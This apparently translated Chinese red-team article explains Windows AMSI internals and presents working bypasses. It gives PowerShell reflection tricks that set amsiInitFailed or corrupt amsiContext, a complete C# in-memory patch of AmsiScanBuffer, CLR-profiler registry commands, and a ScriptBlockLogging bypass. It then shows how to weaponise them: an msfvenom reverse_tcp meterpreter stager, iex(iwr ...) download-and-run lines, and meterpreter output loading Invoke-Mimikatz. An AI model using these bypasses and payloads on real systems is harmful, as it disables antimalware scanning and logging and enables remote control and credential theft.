在本文中,我们将分析AMSI的工作原理并回顾复习一些现有的bypasses
总览:
反恶意软件扫描接口(AMSI)是MicrosoftWindows保护系统,旨在保护计算机免受通过脚本语言(例如PowerShell,VBScript,JavaScript等)执行的攻击。『1』
它通过在执行之前分析脚本来工作,以确定该脚本是否为恶意软件。此外,它旨在通过每个评估步骤中递归调用来检测混淆的恶意软件。如果我们使用一个典型的混淆脚本,它们会在内存中自行解码和解压缩,直到准备好执行最终的有效负载为止。
原理:
通过在每个代码评估点(如Invoke-Expression)被调用,AMSI可以检查原始的,模糊的脚本的中间版本和最终版本。以这种方式,避免初始的静态筛选的简单技术不再有效。负责决定是否允许运行脚本的函数称为AmsiScanBuffer。『2』
例如,PowerShell将在每次要评估任何PowerShell脚本时调用此函数。AmsiScanBuffer函数来自amsi.dll,与所有其他用户空间库一起加载到内存进程中。实际上,amsi.dll本身是一个用户空间库,其结果是容易受到多种攻击。
查看OmerYair关于AMSI和Invisi-Shell的演讲。『8』『9』
函数ScanContent的实现如下所示:
internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
if (string.IsNullOrEmpty(sourceMetadata))
{
sourceMetadata = string.Empty;
}
if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
}
if (AmsiUtils.amsiInitFailed)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
...
// call to AmsiScanBuffer()
...
}
该代码本身具有理性化地描述性,我们需要注意到一些重要的细节:
Bypassing AMSI
现存绕过AMSI的主要方法有三种:
请务必注意,所有已知的绕过都是基于AMSIDLL已加载到用户空间的
关于混淆:
这里有一些简单的ps脚本来帮助我们做一个基本的混淆:
Powershell降级攻击
为什么在这种情况下,PowerShellv2如此有用?由于版本2没有支持AMSI的必要内部挂钩,因此是双赢的。我们可以简单地发出以下命令来启动PowerShellv2:
C:\Users\Public\phra> powershell -Version 2 -NoProfile-ExecutionPolicy Bypass -Command "'amsiutils'" 'amsiutils'
如你所见,字符串'amsiutils'并没有被AMSI拦截
强制报错:
如果我们能够在AMSI中强制执行使得报错,那么将处罚内部属性amsiInitField,并且AMSI不会被调用唤起。
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) # allocate some memory
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null) # overwrite `amsiSession`
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem) # overwrite `amsiContext`
Write-host -ForegroundColor green "AMSI won't be called anymore"
将amsiInitFailed设置为$true:
除了产生错误外,我们还可以直接为自己设置amsiInitField属性。@mattifestation推文中的bypass太简短了。『3』
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') # get `amsi.dll` handle
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static') # get `amsiInitFailed` field
$field.SetValue($null,$true) # set it to `$true`
Write-host -ForegroundColor green "AMSI won't be called anymore"
由于amsiInitFailed属性已声明为私有,因此不会直接公开,但由于使用了.NETReflection API,我们可以访问它。通过将其设置为$true,我们可以成功禁用AMSI,并且不再调用amsi.dll的AmsiScanBuffer
修补AmsiScanBuffer:
也可以在运行时monkeypatchamsi.dll的代码。特别是,我们对修补功能AmsiScanBuffer感兴趣。我们可以通过使它们始终返回S_OK来覆盖此函数的逻辑,就像允许命令运行时一样。『7』
为此,我们可以设计一个恶意DLL在运行时加载,以动态修补内存空间中的amsi.dll。这种bypass有多种版本,我将提交最新C#版本嵌入在.ps1脚本中,该版本完全取自解码器的powershell。『20』『21』
# Add-Type writes *.cs>$id = get-random;
$Ref = (
"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
);
$Source = @"
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI$id
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
string hexbuffer = "41;6d;73;69;53;63;61;6e;42;75;66;66;65;72";
string hexdllbuffer = "61;6d;73;69;2e;64;6c;6c";
string buf1=FromHexBuffer(hexdllbuffer);
string buf2=FromHexBuffer(hexbuffer);
IntPtr Address = GetProcAddress(LoadLibrary(buf1), buf2);
UIntPtr size = (UIntPtr)5;
uint p = 0;
VirtualProtect(Address, size, 0x40, out p);
byte c1=0xB8,c2=0x80;
Byte[] Patch = {c1, 0x57, 0x00, 0x07, c2, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(Address, unmanagedPointer, 6);
return 0;
}
public static string FromHexBuffer(String hexdata)
{
string buffer="";
String[] hexbuffersplit = hexdata.Split(';');
foreach (String hex in hexbuffersplit)
{
int value = Convert.ToInt32(hex, 16);
buffer+= Char.ConvertFromUtf32(value);
}
return buffer;
}
}
}
"@;
Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp;
iex "[Bypass.AMSI$id]::Disable() | Out-Null"
Write-host -ForegroundColor green "AMSI won't be called anymore"
请注意,在PowerShell代码中使用Add-Type即时编译C#会使得文件落地,在编译阶段将一些*.cs放到临时目录中。为了避免文件落地,我们需要单独编译DLL并通过.NETReflection加载它:
[Reflection.Assembly]::Load($AMSIBypassDLLBytes)
[Bypass.AMSI]::Disable()
有关更多信息,您可以参考PowerSploit的Out-CompressedDll.ps1
Hooking .NET Framework via CLR
另一项强大的技术基于运行时通过CLRProfiler API挂钩.NETFramework,如OmerYiar在Invisi-Shell中所见。该项目能够绕过PowerShell的所有保护机制,即脚本块日志,模块日志记录,转录和AMSI。
使用CLRProfilerAPI,Invisi-Shell可以始终将输入长度属性覆盖为0,从而钩住.NET程序集『10』并禁用任何类型的保护机制。如上所述,如果输入为空,则将返回AMSI_RESULT_NOT_DETECTED同样的逻辑适用于所有其他安全机制。
该技术的唯一缺点是,必须将磁盘上的DLL删除才能由CLRProfiler API加载。
有两种加载DLL的方法:
set COR_ENABLE_PROFILING=1
set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /ve /t REG_SZ /d "%~dp0InvisiShellProfiler.dll" /f
powershell
出现的PowerShell终端将禁用所有保护机制。有关内部结构的更多信息,我将带您转到他令人惊叹的DerbyCon演讲。『9』如果您对检测方面感兴趣,我建议您查看他的另一个项目Babel-Shellfish。『15』
武器化:
让我们看看如何使用此技术在目标计算机上生成一个meterpreter。为了做到这一点,我们需要做两件事:
A ready to use Invoke-Bypass.ps1 scriptis available> repositoryon GitHub.『12』
禁用ScriptBlockLog:
首先,为了避免在禁用AMSI后被检测到,我们需要确保命令的日志没有保存在磁盘上,否则AV将发现我们的活动。有一个已知的公共绕过项目,可以禁用PowerShell的内置ScriptBlockLog机制。『17』
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
If($GPF){
$GPC=$GPF.GetValue($null);
If($GPC['ScriptB'+'lockLogging']){
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
}
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
$val.Add('EnableScriptB'+'lockLogging',0);
$val.Add('EnableScriptB'+'lockInvocationLogging',0);
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
} Else {
[ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
}
他通过2件事情来实现:
Meterpreter:
我们可以使用bypass通过PowerShell生成meterpreter实例,然后执行任意*.ps1脚本。项目正在自动进行。现在,要生成它,我们需要通过以下命令生成stager:
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=3000 LHOST=127.0.0.1 -f psh > meter.ps1
然后在它之前执行绕过
iex(iwr https://127.0.0.1/Invoke-Bypass.ps1)
Invoke-BypassScriptBlockLog
Invoke-BypassAMSI
iex(iwr https://127.0.0.1/meter.ps1)
我们还可以使用AMSI的bypass从meterpreter会话在计算机上执行任意PowerShell代码。如果我们尝试在PowerShell会话中执行“amsiutils”,则会得到类似以下的内容
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_execute "'amsiutils'"
[+] Command execution completed:
ERROR:
但是如果我们导入Invoke-Bypass并执行旁路,则可以运行任何类型的命令,包括Invoke-Mimikatz
meterpreter > powershell_import Invoke-Bypass.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute "Invoke-BypassScriptBlockLog"
[+] Command execution completed:
meterpreter > powershell_execute "Invoke-BypassAMSI"
[+] Command execution completed:
meterpreter > powershell_execute "'amsiutils'"
[+] Command execution completed:
amsiutils
meterpreter > powershell_import Invoke-Mimikatz.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute "Invoke-Mimikatz -Command coffee"
[+] Command execution completed:
.#####. mimikatz 2.1.1 (x64) #17763 Dec 31 2018 01:15:11
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
meterpreter >
Other Resources About AMSI
https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/ [4]
https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/ [5]
https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html [6]
https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/ [7]
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ [11]
References
https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan-interface-portal
https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanbuffer
https://twitter.com/mattifestation/status/735261176745988096
https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/
https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html
https://rastamouse.me/2018/11/amsiscanbuffer-bypass-part-3/
https://github.com/OmerYa/Invisi-Shell
https://www.youtube.com/watch?v=Y3oMEiySxcc
https://arxiv.org/abs/1709.07508
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/d0nkeys/redteam/blob/master/code-execution/Invoke-Bypass.ps1
https://github.com/cobbr/PSAmsi
https://www.youtube.com/watch?v=rEFyalXfQWk
https://github.com/OmerYa/Babel-Shellfish
https://en.wikipedia.org/wiki/EICAR_test_file
https://cobbr.io/ScriptBlock-Logging-Bypass.html
https://github.com/danielbohannon/Invoke-Obfuscation
https://www.youtube.com/watch?v=uE8IAxM_BhE
https://decoder.cloud
https://github.com/decoder-it/powershellveryless
下面是脚本实现效果,测试时候最新的win10及wdf最新更新。
杠精者想看放大看超清的地址这里:
https://v.youku.com/v_show/id_XNDQ4MjkwMzQyMA==.html
阅读原文获取脚本替换使用方法